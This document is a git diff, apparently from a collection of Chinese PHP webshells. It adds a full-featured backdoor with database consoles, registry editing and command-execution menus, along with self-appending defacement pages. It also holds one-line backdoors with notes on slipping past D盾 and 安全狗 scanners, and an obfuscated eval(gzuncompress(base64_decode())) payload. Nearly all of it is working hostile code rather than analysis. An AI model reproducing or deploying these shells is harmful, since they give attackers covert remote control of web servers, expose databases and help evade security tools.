                +END; +if ($oraaction == 'oraquery'){ $oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); $oraresult=ociparse($oralink,$oraquery) or die(ocierror()); $orarow=oci_fetch_row($oraresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. oci_field_name($oraresult, $i); echo "\n"; } echo "\n"; ociresult($oraresult, 0); while ($orarow=ora_fetch_row($oraresult)) { echo "\n"; for ($i=0; $i'; echo "$orarow[$i]"; echo ''; } echo "\n"; } echo "
                \n"; echo "
                "; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx"){ $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print<< +
                数据库名: +用户: +密码:

                + +
                + + +
                +END; +if ($ifxaction == 'ifxquery'){ $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); $ifxrow=ifx_fetch_row($ifxresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ifx_fieldproperties($ifxresult); echo "\n"; } echo "\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow=ifx_fetch_row($ifxresult)) { echo "\n"; for ($i=0; $i'; echo "$ifxrow[$i]"; echo ''; } echo "\n"; } echo "
                \n"; echo "
                "; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db=="db2"){ $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print<< +
                主机: +端口: +用户: +密码: +数据库名:

                + +
                + + +
                +END; +if ($myaction == 'db2query'){ $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); $db2row=db2_fetch_row($db2result); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. db2_field_name($db2result); echo "\n"; } echo "\n"; while ($db2row=db2_fetch_row($db2result)) { echo "\n"; for ($i=0; $i'; echo "$db2row[$i]"; echo ''; } echo "\n"; } echo "
                \n"; echo "
                "; db2_free_result($db2result); db2_close(); } } elseif($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print<< +
                主机: +路径: +用户: +密码:
                + +
                + + +
                +END; +if ($fbaction == 'fbquery'){ $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ibase_field_info($fbresult, $i); echo "\n"; } echo "\n"; ibase_field_info($fbresult, 0); while ($fbrow=ibase_fetch_row($fbresult)) { echo "\n"; for ($i=0; $i'; echo "$fbrow[$i]"; echo ''; } echo "\n"; } echo "
                \n"; echo "
                "; ibase_free_result($fbresult); ibase_close(); } } else{ $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print<< +
                主机: +用户: +密码: +数据库名:

                + +
                + + +
                +END; +if ($pgaction == 'pgquery'){ $pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") or die( '不能连接: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die( '执行失败: '.pg_last_error()); $pgrow=pg_fetch_row($pgresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. pg_field_name($pgresult, $i); echo "\n"; } echo "\n"; pg_result_seek($pgresult, 0); while ($pgrow=pg_fetch_row($pgresult)) { echo "\n"; for ($i=0; $i'; echo "$pgrow[$i]"; echo ''; } echo "\n"; } echo "
                \n"; echo "
                "; pg_free_result($pgresult); pg_close(); } } } function phpreg(){ $shell1 = new COM("wscript.shell") or die("必须是 windows 主机"); $action = isset($_POST['action']) ? $_POST['action'] : ''; echo '
                '; echo '
                读 & 写 &删除 注册表

                '; echo '
                '; print<<
                +
                +读取路径:  + +

                +END; +$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : ''; $rpath = str_replace("\\\\", "\\", $rpath); if ($action=="read"){ $out = $shell1->RegRead($rpath); echo '
                '.var_dump($out).'
                '; echo '

                '; } print<<
                +
                Wpath: +

                +写类型:  +写键值:  + +


                +END; +$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : ''; $wpath = str_replace("\\\\", "\\", $wpath); $wtype = isset($_POST['wtype']) ? $_POST['wtype'] : ''; $wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : ''; if ($action=="write"){ $shell1->RegWrite($wpath, $wvalue, $wtype); } print<<
                +
                +删除路径: + +

                +END; +$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : ''; $dpath = str_replace("\\\\", "\\", $dpath); if ($action=="del"){ $out = $shell1->RegDelete($dpath); } } function Root_Login($MSG_TOP) { global $lanip; print<< + +
                +
                +
                +
                {$MSG_TOP}
                +
                密码:
                +
                +
                @Copyright spider Clean Backdoor加强版 by:筱豪 && L.N.
                +
                Your IP : {$lanip}
                +
                +
                +
                + + +END; +return false; } function WinMain() { $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); $Server_OS = PHP_OS; $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; print<< + PHP SHELL 2010 加强版 by:筱豪 && L.N. + + + + + + + + +END; +return false; } if(get_magic_quotes_gpc()) { $_GET = Root_GP($_GET); $_POST = Root_GP($_POST); } if($_GET['s'] == 'logout') { setcookie('admin_b4che10rpass',NULL); die(''); } if($_COOKIE['admin_b4che10rpass'] != md5($password)) { ob_start(); $MSG_TOP = 'PHP shell加强版 '; if(isset($_POST['b4che10rpass'])) { $cookietime = time() + 24 * 3600; setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime); if(md5($_POST['b4che10rpass']) == md5($password)){die('');} else{$MSG_TOP = '密码错误';} } Root_Login($MSG_TOP); exit(); ob_end_flush(); } if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} $p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); switch($s) { case "a" : File_a($p); break; case "b" : Guama_b(); break; case "c" : Qingma_c(); break; case "d" : Tihuan_d(); break; case "e" : Antivirus_e(); break; case "f" : Info_f(); break; case "g" : Exec_g(); break; case "h" : Com_h(); break; case "i" : Port_i(); break; case "j" : Shellcode_j(); break; case "k" : Crack_k(); break; case "l" : Linux_l(); break; case "m" : Mysql_m(); break; case "n" : Mysql_n(); break; case "o" : phpreg(); break; case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; case 'x' : phpcode();break; case 'r' : phpsocket();break; case 'w' : otherdb();break; case 'z' : su();break; case 'u' : Findfile_j(); break; case 'v' : ftp_php();break; default: WinMain(); break; } ?>ak; } ?> diff --git "a/php/\347\213\227php\345\244\247\351\251\254+\350\277\207\347\213\227php\344\270\200\345\217\245\350\257\235.php" "b/php/\347\213\227php\345\244\247\351\251\254+\350\277\207\347\213\227php\344\270\200\345\217\245\350\257\235.php" new file mode 100644 index 0000000..d4a0ce1 --- /dev/null +++ "b/php/\347\213\227php\345\244\247\351\251\254+\350\277\207\347\213\227php\344\270\200\345\217\245\350\257\235.php" @@ -0,0 +1,20 @@ + + +--------------------------------------------------- +/*自己看密码 +$salt = "silic1234"; +$psw = trim($_POST['silicpass']); +$password="43b65cee06453f060b117d769825c50e"; +$passt = $salt.$psw; +$passt = md5(md5(md5($passt))); +*/ diff --git "a/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-F4ck\347\276\216\345\214\226\347\211\210.php" "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-F4ck\347\276\216\345\214\226\347\211\210.php" new file mode 100644 index 0000000..f44ad2a --- /dev/null +++ "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-F4ck\347\276\216\345\214\226\347\211\210.php" @@ -0,0 +1,47 @@ +','?','"','(',')','POST','GET','_','/'),array('',';','<','>','?','"','|','|','P0ST','GET','_','/'),$data); +$ip = preg_replace('/((?:\d+\.){3})\d+/','\\1*',$_SERVER['REMOTE_ADDR']); +$time = date("Y-m-d G:i:s A"); +$text = "
                ".$data."

                IP为".$ip."的基友 >>> F4cked At:".$time."

                "; +$file = fopen(__FILE__,'a'); +fwrite($file,$text); +fclose($file); +echo ""; +} +?> + +F4ckTeam Chating Room + + +
                +

                通关留言板

                +
                +
                +恭喜基友成功通关~

                +
                +1、强烈欢迎各位基友来玩游戏~

                +2、游戏通关并留言后,将通关详细过程以doc形式邮件发送到fan#f4ck.net经验证真实后可获得法客论坛邀请码一枚~

                +3、法客论坛黑客游戏第二版由核心成员[花开、若相惜]开发~

                +
                +
                +

                +
                +
                HackGame V2.0 - Code By 花开、若相惜@F4ckTeam
                +
                +
                diff --git "a/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-\345\216\237\347\211\210.php" "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-\345\216\237\347\211\210.php" new file mode 100644 index 0000000..6f3fbe2 --- /dev/null +++ "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-\345\216\237\347\211\210.php" @@ -0,0 +1,41 @@ + + + +','?','"','(',')','POST','GET','_','/'),array('',';','<','>','?','"','|','|','P0ST','GET','_','/'),$data); +$data = str_replace(array('[img]','[/img]'),array(''),$data); +$ip = preg_replace('/((?:\d+\.){3})\d+/','\\1*',$_SERVER['REMOTE_ADDR']); +$time = date("Y-m-d G:i:s A"); +$text = "
                ".$data."

                IP为".$ip."的童鞋 >>> Fucked at:".$time."

                "; +$file = fopen(__FILE__,'a'); +fwrite($file,$text); +fclose($file); +echo ""; +} +?> + + +Chinese Hackers' Chating Room + + +
                +Hacked! Owned by Chinese Hackers!
                +

                菊花聊天室

                +
                +
                +

                插入图片

                + +

                Chating Room is Powered By Silic Group Hacker Army©2009-2011

                + +
                +
                diff --git "a/php/\350\275\273\346\235\276\347\273\225\350\277\207\344\273\273\346\204\217Waf\347\232\204\344\270\200\345\217\245\350\257\235.php" "b/php/\350\275\273\346\235\276\347\273\225\350\277\207\344\273\273\346\204\217Waf\347\232\204\344\270\200\345\217\245\350\257\235.php" new file mode 100644 index 0000000..b1a276e --- /dev/null +++ "b/php/\350\275\273\346\235\276\347\273\225\350\277\207\344\273\273\346\204\217Waf\347\232\204\344\270\200\345\217\245\350\257\235.php" @@ -0,0 +1,24 @@ +前几天某朋友分享了给我两个一句话的样本 +但是不知道是谁提交给了D盾,导致被查,不过只要再改改代码还是能轻松绕过D盾的 安全狗那些就更不用说了 + + + + system参数随便修改,分情况来修改 也可以使用eval + + + + 抛砖引玉了,期待更多朋友提供奇淫巧计 + +(再次感谢那位厉害的朋友) diff --git "a/php/\350\277\207\346\234\200\346\226\260\347\211\210\345\256\211\345\205\250\347\213\2274.0\344\270\200\345\217\245\350\257\235\345\245\227\350\243\205.php" "b/php/\350\277\207\346\234\200\346\226\260\347\211\210\345\256\211\345\205\250\347\213\2274.0\344\270\200\345\217\245\350\257\235\345\245\227\350\243\205.php" new file mode 100644 index 0000000..4e998c5 --- /dev/null +++ "b/php/\350\277\207\346\234\200\346\226\260\347\211\210\345\256\211\345\205\250\347\213\2274.0\344\270\200\345\217\245\350\257\235\345\245\227\350\243\205.php" @@ -0,0 +1,63 @@ +前言: + 这些一句话测试时间在半月前,那时安全狗3.5停止更新,4.0刚出来,整个扫描规则都不一样了,改为引擎扫描(目前只见到啸天引擎),且查杀结果已不利于调试,具体大家可以自行测试,感受一下差异。 +以下内容需要积分高于 40 才可浏览 + + + + + + + + + + + + + + + + + + + + + + + +最简单的一种↓ + + + + + +1.基本都是迪科学员写的,一直未公开 +2.相信大家都能看懂,不做解释了 + + 个人觉得无论是对于D盾还是安全狗,突破还是利用php的灵活性,此次主要就是利用各种函数(截取、替换、加解密、其他执行函数、甚至于数组)等等很多方法和思路。 + +希望大家都好,有一个好的心情和前程。 diff --git "a/php/\351\235\231\346\265\201PHP\345\244\247\351\251\254.php" "b/php/\351\235\231\346\265\201PHP\345\244\247\351\251\254.php" new file mode 100644 index 0000000..3838aba --- /dev/null +++ "b/php/\351\235\231\346\265\201PHP\345\244\247\351\251\254.php" @@ -0,0 +1,5 @@ +静流PHP大马
                "; //设置版权 + eval(gzuncompress(base64_decode("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